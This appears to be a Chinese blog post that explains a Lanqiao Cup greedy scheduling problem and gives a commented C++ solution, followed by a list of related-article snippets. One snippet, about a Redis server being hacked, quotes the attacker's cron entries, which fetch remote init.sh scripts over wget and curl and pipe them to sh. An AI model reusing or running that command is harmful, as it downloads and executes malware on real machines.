答疑(蓝桥杯)

文章目录

  • 答疑
    • 问题描述
    • 贪心

答疑

问题描述

有 n 位同学同时找老师答疑。每位同学都预先估计了自己答疑的时间。

老师可以安排答疑的顺序,同学们要依次进入老师办公室答疑。

一位同学答疑的过程如下:

  1. 首先进入办公室,编号为 i 的同学需要 si 毫秒的时间。
  2. 然后同学问问题老师解答,编号为 i 的同学需要 ai 毫秒的时间。
  3. 答疑完成后,同学很高兴,会在课程群里面发一条消息,需要的时间可以忽略。
  4. 最后同学收拾东西离开办公室,需要 ei 毫秒的时间。一般需要 10 秒、20 秒或 30 秒,即 ei 取值为 10000 ,20000 或 30000 。

一位同学离开办公室后,紧接着下一位同学就可以进入办公室了。

答疑从 0 时刻开始。老师想合理的安排答疑的顺序,使得同学们在课程群里面发消息的时刻之和最小。

输入格式
输入第一行包含一个整数 n ,表示同学的数量。
接下来 n 行,描述每位同学的时间,其中第 i 行包含三个整数 si,ai,ei ,意义如上所述。

输出格式
输出一个整数,表示同学们在课程群里面发消息的时刻之和最小是多少。

样例输入

3
10000 10000 10000
20000 50000 20000
30000 20000 30000

样例输出

280000

数据范围
对于 30% 的评测用例,1≤n≤20
对于 60% 的评测用例,1≤n≤200
对于所有评测用例,1 ≤ n ≤ 1000 , 1 ≤ si ≤ 60000 , 1 ≤ ai ≤ 1000000 , ei ∈ 10000 , 20000 , 30000 ,即 ei 一定是 10000 、 20000 、 30000 之一。

贪心

这段代码是用来解决上述答疑问题的,旨在找到一种答疑顺序,使得同学们在群里发消息的时刻之和最小。下面是代码的详细注释,解释每一部分的作用:

#include<bits/stdc++.h> // 引入常用库文件,这是编程比赛中常用的简写方式
using namespace std;    // 使用标准命名空间
typedef long long ll;   // 定义长整型别名 ll,便于处理大整数// 定义数组,对应 n 位同学的进入办公室时间、答疑时间和离开办公室时间
int si[1010],ai[1010],ei[1010];
// 定义数组 s 用来存储每位同学答疑的总时间(包括进入、答疑和离开时间)
ll s[1010];int main()
{int n; // 定义变量 n 来存储同学的数量cin>>n; // 从标准输入读取同学的数量ll d=0; // 定义变量 d 用于记录初始的发消息的时刻之和// 循环读取每位同学的时间数据for(int i=0;i<n;i++){cin>>si[i]>>ai[i]>>ei[i]; // 读取第 i 位同学的进入、答疑和离开时间s[i]=si[i]+ai[i]+ei[i];   // 计算每位同学的总答疑时间d+=si[i]+ai[i]; // 累加进入和答疑时间到 d,注意离开时间在这里不计入}// 使用 sort 函数对 s 数组进行排序,按照答疑的总时间从小到大排序sort(s,s+n);// sum 初始值为 d,即所有同学的进入和答疑时间之和ll sum=d;// 这个循环计算排序后的答疑时间对发消息时刻之和的影响int t=n; // 定义变量 t 为同学数量for(int i=0;i<n-1;i++){sum+=(t-1)*s[i]; // 乘以 t-1 是因为每个 s[i] 会被后面的同学重复经历t--; // 每次循环后,影响的同学数减少一个}cout<<sum; // 输出计算出的同学们在课程群里面发消息时刻之和return 0; // 程序正常结束
}

这段代码实现了一个高效的算法,通过先累加所有同学的进入和答疑时间,然后排序并计算每个同学离开办公室的时间对后面同学发消息时刻的影响,最后得到一个最小化的发消息时刻之和。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2826.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文搞懂computed和watch:Vue中的响应式双胞胎

目录 1. 理解computed与watch computed&#xff08;计算属性&#xff09;&#xff1a; watch&#xff08;侦听器&#xff09;&#xff1a; 2. 使用场景与实例 computed应用 适用场景&#xff1a; 实例&#xff1a; watch应用 适用场景&#xff1a; 实例&#xff1a; …

AXI4---低功耗接口

在电子系统设计中&#xff0c;"low-power interface"&#xff08;低功耗接口&#xff09;是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下&#xff0c;通过各种技术降低功耗&#xff0c;对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重…

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务&#xff1f;使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好&#xff0c;我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的&#xff0c;反正对于像我这样年薪过千的摸鱼族来说&#xff0c;请一个专业的理财顾问多多…

【Qt事件】

Qt是一个流行的C跨平台应用程序开发框架&#xff0c;它提供了丰富的事件处理机制来响应用户输入和系统事件。Qt中的事件被封装为事件对象&#xff0c;并由事件循环系统进行分发和处理。下面是一些常见的Qt事件&#xff1a; 鼠标事件&#xff1a;包括鼠标按下、释放、移动、双击…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对&#xff0c;backup1,backup2,backup3,backup4&#xff0c;内容是奇奇怪怪的sh脚本&#xff1a;*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天&#xff0c;发现这道题有意思 1.解压文件 三个文件The Maya Society.html&#xff0c;maim.cc,maya.png 当时我看到这个题的时候&#xff0c;我以为是不是会是js逆向 看来是我蠢了 这三个文件&#xff0c;main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先&#xff0c;下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接&#xff1a; python-3.7.5-amd64.exe链接&#xff1a; 2.1.在线安装 pip安装PyQt5&#xff1a; pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…

frp V2使用教程

教程适合小白,按照步骤操作即可 使用 systemd 安装 # 使用 yum 安装 systemd(CentOS/RHEL) yum install systemd# 使用 apt 安装 systemd(Debian/Ubuntu) apt install systemd创建 frps.service 文件 使用文本编辑器 (如 vim) 在 /etc/systemd/system 目录下创建一个 …

编译原理 LR(0)

讲解视频&#xff1a;编译原理LR&#xff08;0&#xff09;分析表&#xff08;上&#xff09;_哔哩哔哩_bilibili 【编译原理】LR(0)分析表分析输入串_哔哩哔哩_bilibili 拓广文法 已知G&#xff1a;S->(S)S | ε 拓广文法&#xff1a; S -> S S -> (S)S S -> ε…

【Python基础】20.包

包 包是一个包含多个模块的特殊目录目录下有一个特殊的文件__init.py___包名的命名方式和变量名一致 使用 import 包名的方法可以一次性导入包中的所有模块 __init.py___的使用 要在外界使用包中的模块&#xff0c;需要在__init.py___中指定对外界提供的模块 from . impor…

基于springboot的公交线路查询系统设计与实现

第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代&#xff0c;也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端&#xff0c;也就是电脑互联网时代&#xff0c;但是最近几十年&#xff0c;是移动互联网…

中台架构下的性能测试实践方法

有同学私信问我&#xff1a;中台服务建设过程中&#xff0c;性能测试如何开展&#xff1f;问题背景如下&#xff1a; 业务背景&#xff1a;银行业务&#xff1b; 技术架构&#xff1a;业务应用和中台之间请求统一走ESB&#xff1b; 当前阶段&#xff1a;中台建设中&#xff0c;…

如何部署 wfs 分布式服务

说明&#xff1a; wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储&#xff0c;但为了应对大规模部署和高可用需求&#xff0c;推荐采用如Nginx这样的负载均衡服务&#xff0c;通过合理的资源配置和定位策略&#xff0c;可以在逻辑上模拟出类似分布式的效果。也就是说&am…

【kettle002】kettle访问人大金仓KingbaseES数据库并处理数据至execl文件

一直以来想写下基于kettle的系列文章&#xff0c;作为较火的数据ETL工具&#xff0c;也是日常项目开发中常用的一款工具&#xff0c;最近刚好挤时间梳理、总结下这块儿的知识体系。 熟悉、梳理、总结下人大金仓KingbaseES数据库相关知识体系 kettle访问人大金仓KingbaseES数据库…

Linux网络-DHCP原理与配置

目录 一.DHCP工作原理 1.了解DHCP服务 1.1.使用DHCP的好处 1.2.DHCP的分配方式 2.DHCP的租约过程 2.1.DHCP工作原理 2.2.DHCP交互过程 二.DHCP服务器的配置 1.关闭防火墙 2.检查并且安装DHCP有关软件包 3.查看系统的配置文件 3.1.设置参数 4.修改网络 4.1.修改虚…

机器学习第八次课

前言 开课了,今天会讲点什么呢,先看看 首先是机器学习的三步走,第一步是确定函数,第二步是损失函数,第三步就是训练,对应到线性回归,就是确定函数,然后就是MSE,第三步是梯度下降法,先问了个问题. 然后问了一个梯度下降的问题,梯度下降是一个用于优化目标函数的算法&#xff…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中&#xff0c;即使消息被消费者确认&#xff08;acknowledged, ACK&#xff09;&#xff0c;消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同&#xff0c;在那些系统中&#xff0c;一旦消息被消费并…

MyBatisPlus详解(四)通用枚举、JSON类型处理器、配置加密、自动分页插件与工具类

文章目录 前言3 扩展功能3.3 通用枚举3.3.1 使用枚举类3.3.2 功能测试 3.4 JSON类型处理器3.4.1 使用JSON类型处理器3.4.2 功能测试 3.5 配置加密3.5.1 生成密钥3.5.2 修改配置3.5.3 功能测试 4 插件功能4.1 自动分页插件4.1.1 配置分页插件4.1.2 分页API 4.2 通用分页实体4.2.…

递归实现斐波那契数列的空间复杂度的讲解

题目&#xff1a;计算斐波那契数列Fib的空间复杂度 过程图解&#xff1a; 理解要点&#xff1a; 递归的运算顺序和方式不是同时进行图中的所有Fib函数&#xff0c;而是有顺序的&#xff01; 第一步&#xff1a;单独的一个Fib&#xff08;N&#xff09;进行到底Fib&#xff08…